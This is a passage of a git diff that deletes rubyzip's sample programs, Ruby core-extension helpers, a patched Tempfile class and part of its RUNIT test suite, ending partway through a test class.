-Zip::ZipFile.open(EXAMPLE_ZIP) { - |zf| - puts "Entries from reloaded zip: #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/gtkRubyzip.rb b/lib/zip/samples/gtkRubyzip.rb deleted file mode 100755 index 0b63485d5b..0000000000 --- a/lib/zip/samples/gtkRubyzip.rb +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -$VERBOSE = true - -require 'gtk' -require 'zip/zip' - -class MainApp < Gtk::Window - def initialize - super() - set_usize(400, 256) - set_title("rubyzip") - signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } - - box = Gtk::VBox.new(false, 0) - add(box) - - @zipfile = nil - @buttonPanel = ButtonPanel.new - @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - show_file_selector - } - @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - puts "Not implemented!" - } - box.pack_start(@buttonPanel, false, false, 0) - - sw = Gtk::ScrolledWindow.new - sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) - box.pack_start(sw, true, true, 0) - - @clist = Gtk::CList.new(["Name", "Size", "Compression"]) - @clist.set_selection_mode(Gtk::SELECTION_BROWSE) - @clist.set_column_width(0, 120) - @clist.set_column_width(1, 120) - @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { - |w, row, column, event| - @selected_row = row - } - sw.add(@clist) - end - - class ButtonPanel < Gtk::HButtonBox - attr_reader :openButton, :extractButton - def initialize - super - set_layout(Gtk::BUTTONBOX_START) - set_spacing(0) - @openButton = Gtk::Button.new("Open archive") - @extractButton = Gtk::Button.new("Extract entry") - pack_start(@openButton) - pack_start(@extractButton) - end - end - - def show_file_selector - @fileSelector = Gtk::FileSelection.new("Open zip file") - @fileSelector.show - @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - open_zip(@fileSelector.filename) - @fileSelector.destroy - } - @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - @fileSelector.destroy - } - end - - def open_zip(filename) - @zipfile = Zip::ZipFile.open(filename) - @clist.clear - @zipfile.each { - |entry| - @clist.append([ entry.name, - entry.size.to_s, - (100.0*entry.compressedSize/entry.size).to_s+"%" ]) - } - end -end - -mainApp = MainApp.new() - -mainApp.show_all - -Gtk.main diff --git a/lib/zip/samples/qtzip.rb b/lib/zip/samples/qtzip.rb deleted file mode 100755 index 3d76bd18e8..0000000000 --- a/lib/zip/samples/qtzip.rb +++ /dev/null @@ -1,101 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE=true - -$: << "../lib" - -require 'Qt' -system('rbuic -o zipdialogui.rb zipdialogui.ui') -require 'zipdialogui.rb' -require 'zip/zip' - - - -a = Qt::Application.new(ARGV) - -class ZipDialog < ZipDialogUI - - - def initialize() - super() - connect(child('add_button'), SIGNAL('clicked()'), - self, SLOT('add_files()')) - connect(child('extract_button'), SIGNAL('clicked()'), - self, SLOT('extract_files()')) - end - - def zipfile(&proc) - Zip::ZipFile.open(@zip_filename, &proc) - end - - def each(&proc) - Zip::ZipFile.foreach(@zip_filename, &proc) - end - - def refresh() - lv = child("entry_list_view") - lv.clear - each { - |e| - lv.insert_item(Qt::ListViewItem.new(lv, e.name, e.size.to_s)) - } - end - - - def load(zipfile) - @zip_filename = zipfile - refresh - end - - def add_files - l = Qt::FileDialog.getOpenFileNames(nil, nil, self) - zipfile { - |zf| - l.each { - |path| - zf.add(File.basename(path), path) - } - } - refresh - end - - def extract_files - selected_items = [] - unselected_items = [] - lv_item = entry_list_view.first_child - while (lv_item) - if entry_list_view.is_selected(lv_item) - selected_items << lv_item.text(0) - else - unselected_items << lv_item.text(0) - end - lv_item = lv_item.next_sibling - end - puts "selected_items.size = #{selected_items.size}" - puts "unselected_items.size = #{unselected_items.size}" - items = selected_items.size > 0 ? selected_items : unselected_items - puts "items.size = #{items.size}" - - d = Qt::FileDialog.get_existing_directory(nil, self) - if (!d) - puts "No directory chosen" - else - zipfile { |zf| items.each { |e| zf.extract(e, File.join(d, e)) } } - end - - end - - slots 'add_files()', 'extract_files()' -end - -if !ARGV[0] - puts "usage: #{$0} zipname" - exit -end - -zd = ZipDialog.new -zd.load(ARGV[0]) - -a.mainWidget = zd -zd.show() -a.exec() diff --git a/lib/zip/samples/write_simple.rb b/lib/zip/samples/write_simple.rb deleted file mode 100755 index 648989a2ca..0000000000 --- a/lib/zip/samples/write_simple.rb +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" -} diff --git a/lib/zip/samples/zipfind.rb b/lib/zip/samples/zipfind.rb deleted file mode 100755 index 5a9d84ec1c..0000000000 --- a/lib/zip/samples/zipfind.rb +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zip' -require 'find' - -module Zip - module ZipFind - def self.find(path, zipFilePattern = /\.zip$/i) - Find.find(path) { - |fileName| - yield(fileName) - if zipFilePattern.match(fileName) && File.file?(fileName) - begin - Zip::ZipFile.foreach(fileName) { - |zipEntry| - yield(fileName + File::SEPARATOR + zipEntry.to_s) - } - rescue Errno::EACCES => ex - puts ex - end - end - } - end - - def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) - self.find(path, zipFilePattern) { - |fileName| - yield(fileName) if fileNamePattern.match(fileName) - } - end - - end -end - -if __FILE__ == $0 - module ZipFindConsoleRunner - - PATH_ARG_INDEX = 0; - FILENAME_PATTERN_ARG_INDEX = 1; - ZIPFILE_PATTERN_ARG_INDEX = 2; - - def self.run(args) - check_args(args) - Zip::ZipFind.find_file(args[PATH_ARG_INDEX], - args[FILENAME_PATTERN_ARG_INDEX], - args[ZIPFILE_PATTERN_ARG_INDEX]) { - |fileName| - report_entry_found fileName - } - end - - def self.check_args(args) - if (args.size != 3) - usage - exit - end - end - - def self.usage - puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" - end - - def self.report_entry_found(fileName) - puts fileName - end - - end - - ZipFindConsoleRunner.run(ARGV) -end diff --git a/lib/zip/stdrubyext.rb b/lib/zip/stdrubyext.rb deleted file mode 100644 index 833365dbca..0000000000 --- a/lib/zip/stdrubyext.rb +++ /dev/null @@ -1,111 +0,0 @@ -unless Enumerable.method_defined?(:inject) - module Enumerable #:nodoc:all - def inject(n = 0) - each { |value| n = yield(n, value) } - n - end - end -end - -module Enumerable #:nodoc:all - # returns a new array of all the return values not equal to nil - # This implementation could be faster - def select_map(&aProc) - map(&aProc).reject { |e| e.nil? } - end -end - -unless Object.method_defined?(:object_id) - class Object #:nodoc:all - # Using object_id which is the new thing, so we need - # to make that work in versions prior to 1.8.0 - alias object_id id - end -end - -unless File.respond_to?(:read) - class File # :nodoc:all - # singleton method read does not exist in 1.6.x - def self.read(fileName) - open(fileName) { |f| f.read } - end - end -end - -class String #:nodoc:all - def starts_with(aString) - rindex(aString, 0) == 0 - end - - def ends_with(aString) - index(aString, -aString.size) - end - - def ensure_end(aString) - ends_with(aString) ? self : self + aString - end - - def lchop - slice(1, length) - end -end - -class Time #:nodoc:all - - #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: - # - # Register CX, the Time: - # Bits 0-4 2 second increments (0-29) - # Bits 5-10 minutes (0-59) - # bits 11-15 hours (0-24) - # - # Register DX, the Date: - # Bits 0-4 day (1-31) - # bits 5-8 month (1-12) - # bits 9-15 year (four digit year minus 1980) - - - def to_binary_dos_time - (sec/2) + - (min << 5) + - (hour << 11) - end - - def to_binary_dos_date - (day) + - (month << 5) + - ((year - 1980) << 9) - end - - # Dos time is only stored with two seconds accuracy - def dos_equals(other) - to_i/2 == other.to_i/2 - end - - def self.parse_binary_dos_format(binaryDosDate, binaryDosTime) - second = 2 * ( 0b11111 & binaryDosTime) - minute = ( 0b11111100000 & binaryDosTime) >> 5 - hour = (0b1111100000000000 & binaryDosTime) >> 11 - day = ( 0b11111 & binaryDosDate) - month = ( 0b111100000 & binaryDosDate) >> 5 - year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980 - begin - return Time.local(year, month, day, hour, minute, second) - end - end -end - -class Module #:nodoc:all - def forward_message(forwarder, *messagesToForward) - methodDefs = messagesToForward.map { - |msg| - "def #{msg}; #{forwarder}(:#{msg}); end" - } - module_eval(methodDefs.join("\n")) - end -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/tempfile_bugfixed.rb b/lib/zip/tempfile_bugfixed.rb deleted file mode 100644 index a04c59e2dc..0000000000 --- a/lib/zip/tempfile_bugfixed.rb +++ /dev/null @@ -1,195 +0,0 @@ -# -# tempfile - manipulates temporary files -# -# $Id$ -# - -require 'delegate' -require 'tmpdir' - -module BugFix #:nodoc:all - -# A class for managing temporary files. This library is written to be -# thread safe. -class Tempfile < DelegateClass(File) - MAX_TRY = 10 - @@cleanlist = [] - - # Creates a temporary file of mode 0600 in the temporary directory - # whose name is basename.pid.n and opens with mode "w+". A Tempfile - # object works just like a File object. - # - # If tmpdir is omitted, the temporary directory is determined by - # Dir::tmpdir provided by 'tmpdir.rb'. - # When $SAFE > 0 and the given tmpdir is tainted, it uses - # /tmp. (Note that ENV values are tainted by default) - def initialize(basename, tmpdir=Dir::tmpdir) - if $SAFE > 0 and tmpdir.tainted? - tmpdir = '/tmp' - end - - lock = nil - n = failure = 0 - - begin - Thread.critical = true - - begin - tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) - lock = tmpname + '.lock' - n += 1 - end while @@cleanlist.include?(tmpname) or - File.exist?(lock) or File.exist?(tmpname) - - Dir.mkdir(lock) - rescue - failure += 1 - retry if failure < MAX_TRY - raise "cannot generate tempfile `%s'" % tmpname - ensure - Thread.critical = false - end - - @data = [tmpname] - @clean_proc = Tempfile.callback(@data) - ObjectSpace.define_finalizer(self, @clean_proc) - - @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) - @tmpname = tmpname - @@cleanlist << @tmpname - @data[1] = @tmpfile - @data[2] = @@cleanlist - - super(@tmpfile) - - # Now we have all the File/IO methods defined, you must not - # carelessly put bare puts(), etc. after this. - - Dir.rmdir(lock) - end - - # Opens or reopens the file with mode "r+". - def open - @tmpfile.close if @tmpfile - @tmpfile = File.open(@tmpname, 'r+') - @data[1] = @tmpfile - __setobj__(@tmpfile) - end - - def _close # :nodoc: - @tmpfile.close if @tmpfile - @data[1] = @tmpfile = nil - end - protected :_close - - # Closes the file. If the optional flag is true, unlinks the file - # after closing. - # - # If you don't explicitly unlink the temporary file, the removal - # will be delayed until the object is finalized. - def close(unlink_now=false) - if unlink_now - close! - else - _close - end - end - - # Closes and unlinks the file. - def close! - _close - @clean_proc.call - ObjectSpace.undefine_finalizer(self) - end - - # Unlinks the file. On UNIX-like systems, it is often a good idea - # to unlink a temporary file immediately after creating and opening - # it, because it leaves other programs zero chance to access the - # file. - def unlink - # keep this order for thread safeness - File.unlink(@tmpname) if File.exist?(@tmpname) - @@cleanlist.delete(@tmpname) if @@cleanlist - end - alias delete unlink - - if RUBY_VERSION > '1.8.0' - def __setobj__(obj) - @_dc_obj = obj - end - else - def __setobj__(obj) - @obj = obj - end - end - - # Returns the full path name of the temporary file. - def path - @tmpname - end - - # Returns the size of the temporary file. As a side effect, the IO - # buffer is flushed before determining the size. - def size - if @tmpfile - @tmpfile.flush - @tmpfile.stat.size - else - 0 - end - end - alias length size - - class << self - def callback(data) # :nodoc: - pid = $$ - lambda{ - if pid == $$ - path, tmpfile, cleanlist = *data - - print "removing ", path, "..." if $DEBUG - - tmpfile.close if tmpfile - - # keep this order for thread safeness - File.unlink(path) if File.exist?(path) - cleanlist.delete(path) if cleanlist - - print "done\n" if $DEBUG - end - } - end - - # If no block is given, this is a synonym for new(). - # - # If a block is given, it will be passed tempfile as an argument, - # and the tempfile will automatically be closed when the block - # terminates. In this case, open() returns nil. - def open(*args) - tempfile = new(*args) - - if block_given? - begin - yield(tempfile) - ensure - tempfile.close - end - - nil - else - tempfile - end - end - end -end - -end # module BugFix -if __FILE__ == $0 -# $DEBUG = true - f = Tempfile.new("foo") - f.print("foo\n") - f.close - f.open - p f.gets # => "foo\n" - f.close! -end diff --git a/lib/zip/test/alltests.rb b/lib/zip/test/alltests.rb deleted file mode 100755 index 691349af37..0000000000 --- a/lib/zip/test/alltests.rb +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'stdrubyexttest' -require 'ioextrastest' -require 'ziptest' -require 'zipfilesystemtest' -require 'ziprequiretest' diff --git a/lib/zip/test/data/file1.txt b/lib/zip/test/data/file1.txt deleted file mode 100644 index 23ea2f731b..0000000000 --- a/lib/zip/test/data/file1.txt +++ /dev/null @@ -1,46 +0,0 @@ - -AUTOMAKE_OPTIONS = gnu - -EXTRA_DIST = test.zip - -CXXFLAGS= -g - -noinst_LIBRARIES = libzipios.a - -bin_PROGRAMS = test_zip test_izipfilt test_izipstream -# test_flist - -libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ - fcol_common.h fcolexceptions.cpp fcolexceptions.h \ - fileentry.cpp fileentry.h flist.cpp \ - flist.h flistentry.cpp flistentry.h \ - flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ - inflatefilt.cpp inflatefilt.h izipfilt.cpp \ - izipfilt.h izipstream.cpp izipstream.h \ - zipfile.cpp zipfile.h ziphead.cpp \ - ziphead.h flistscanner.ll - -# test_flist_SOURCES = test_flist.cpp - -test_izipfilt_SOURCES = test_izipfilt.cpp - -test_izipstream_SOURCES = test_izipstream.cpp - -test_zip_SOURCES = test_zip.cpp - -# Notice that libzipios.a is not specified as -L. -lzipios -# If it was, automake would not include it as a dependency. - -# test_flist_LDADD = libzipios.a - -test_izipfilt_LDADD = libzipios.a -lz - -test_zip_LDADD = libzipios.a -lz - -test_izipstream_LDADD = libzipios.a -lz - - - -flistscanner.cc : flistscanner.ll - $(LEX) -+ -PFListScanner -o$@ $^ - diff --git a/lib/zip/test/data/file1.txt.deflatedData b/lib/zip/test/data/file1.txt.deflatedData deleted file mode 100644 index bfbb4f42c0..0000000000 Binary files a/lib/zip/test/data/file1.txt.deflatedData and /dev/null differ diff --git a/lib/zip/test/data/file2.txt b/lib/zip/test/data/file2.txt deleted file mode 100644 index 57221d1adf..0000000000 --- a/lib/zip/test/data/file2.txt +++ /dev/null @@ -1,1504 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - 